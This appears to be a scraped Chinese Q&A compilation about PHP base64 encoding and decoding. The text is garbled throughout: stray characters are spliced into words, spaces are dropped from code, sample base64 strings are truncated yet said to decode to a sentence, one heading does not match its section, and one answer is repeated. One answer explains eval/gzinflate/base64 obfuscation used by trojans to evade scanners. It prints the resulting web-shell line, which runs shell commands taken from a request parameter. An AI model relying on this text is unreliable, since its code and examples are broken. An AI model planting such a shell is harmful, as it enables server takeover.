① php base64_decode()是什麼加密啊參數是什麼
1、base64_decode() 函數塵森在PHP中是解碼的意思、對使用 MIME base64 編碼卜嘩的數據進行解碼。
使用base64_decode()函數對簡單字元串進行解碼。
<?php
$str='==';
echobase64_decode($str);
?>
此示例將顯示:
This is an encoded string
2、與之相反,base64_encode(),使用 base64 對 data 進行編碼。
使用型兄行base64_encode()函數對簡單字元串進行編碼。
<?php
$str='Thisisanencodedstring';
echobase64_encode($str);
?>
此示例將顯示:
==
② php base64傳文件有什麼好處
1、介面傳輸
主要適用於通過WEB介面將文件從一個站點向另一個站點傳輸,可以用於XML信息。
2、存入資料庫
當然,將圖片等文件信息保存到資料庫中完全可以不用這么做,但這種方式依然適用。對於資料庫新手來說這種方式更可接受。因為這完全是一個字元串。
3、文件加密
文件加密可大家用得比較少,舉個例子,假如我們有一套PHP程序需要保護,必須有授權碼的用戶才能正常運行,那麼我們可能使用授權碼來對文件進行加密,即將上述編碼後的字元串再次加工。運行過程需要授權碼才可運行。
③ php如何判斷一個字元串是不是base64編碼
參考思路:PHP判斷一個字元串是否經過base64編碼,可以通過對該字元串解碼缺備橡,然後編碼,最後對滾搏比兩者是否相等。示例代碼如下:
<?php
header("Content-type:text/html;charset=utf-8;");
$str="Y2hpbmF3aW54cA==";
$re=is_base64($str);
if($re){
echo "該字元串是base64編碼伏旁";
}else{
echo "該字元串未經過base64編碼";
}
//判斷字元串是否經過編碼方法
function is_base64($str){
if($str==base64_encode(base64_decode($str))){
return true;
}else{
return false;
}
}
?>
④ PHP解密..不懂php,解密eval(gzinflate(base64_decode(&+MCAA==&)))
你可以編輯一個php文件,輸入
<?php echo
gzinflate(base64_decode("+MCAA=="));
?>
然後運行這個文件 php test.php 就能看到結果了。
這種方式是很弱的加密,但能避開很多代碼檢測工具。很多wordpress的插件和木馬都採用這種模式。
wordpress常footer進行加密,因為裡麵包含作者的鏈接和申明,如果去掉這行代碼,整個頁面就不能正確顯示。
木馬可以通過這種隱秘的方式傳入一段代碼讓php執行,像上面的例子,結果是 echo `$_REQUEST[a]`;; ?> 所以你在URL里傳入 /?a=ls -al; 就會列出當前目錄下所有文件。
⑤ php圖片轉base64並保存為文本
php圖片轉base64並保存為文本方法如下:
PHP(外文名:PHP: Hypertext Preprocessor,中文名:「超文本預處理器」)是一種通用開源腳本語言。語法吸收了C語言、Java和Perl的特點,利於學習,使用廣泛,主要適用於Web開發領域。PHP 獨特的語法混合了C、Java、Perl以及PHP自創的語法。它可以比CGI或者Perl更快速地執行動態網頁。用PHP做出的動態頁面與其他的編程語言相比,PHP是將程序嵌入到HTML(標准通用標記語言下的一個應用)文檔中去執行,執行效率比完全生成HTML標記的CGI要高許多;PHP還可以執行編譯後代碼,編譯可以達到加密和優化代碼運行,使代碼運行更快。
Base64是網路上最常見的用於傳輸8Bit位元組代碼的編碼方式之一,大家可以查看RFC2045~RFC2049,上面有MIME的詳細規范。Base64編碼可用於在HTTP環境下傳遞較長的標識信息。例如,在Java Persistence系統Hibernate中,就採用了Base64來將一個較長的唯一標識符(一般為128-bit的UUID)編碼為一個字元串,用作HTTP表單和HTTP GET URL中的參數。在其他應用程序中,也常常需要把二進制數據編碼為適合放在URL(包括隱藏表單域)中的形式。此時,採用Base64編碼具有不可讀性,即所編碼的數據不會被人用肉眼所直接看到。
⑥ 中文url編碼、base64編碼,PHP解碼中文部分亂碼
如果兩端伺服器頁面使用的編碼不一致,就會導致亂碼
如你所說,對方伺服器發來的是GBK編碼的內容,如果你本地PHP用的編碼不是GBK就會是亂碼
2種解決方案:
將頁面編碼更改為GBK(可以通過header('Content-Type:text/html charset=gbk');)
將GBK編碼轉為當期頁面編碼(假設當前頁面是utf-8),可以使用iconv('gbk','utf-8',$content);其中$content是你經過urldecode、base64解碼後的字元串
⑦ 讀取一個文件,將其Base64編碼,每76個字元加一個換行,用php程序寫出代碼
$s = base64_encode(file_get_contents('./文件'));
file_put_contents('./out' , preg_replace('/(.{76})/', "$1\n", $s));
⑧ php如何判斷一個字元串是不是base64編碼
參考思路:PHP判斷一個字元串是否經過base64編碼,可以通過對該字元串解碼,然後編碼,最後對比兩者是否相等。示例代碼如下:
<?php
header("Content-type:text/html;charset=utf-8;");
$str="Y2hpbmF3aW54cA==";
$re=is_base64($str);
if($re){
echo"該字元串是base64編碼";
}else{
echo"該字元串鬧侍鏈未經過base64編碼";
}
//判斷液孫字元串是否經過編碼方法
function談蘆is_base64($str){
if($str==base64_encode(base64_decode($str))){
returntrue;
}else{
returnfalse;
}
}
?>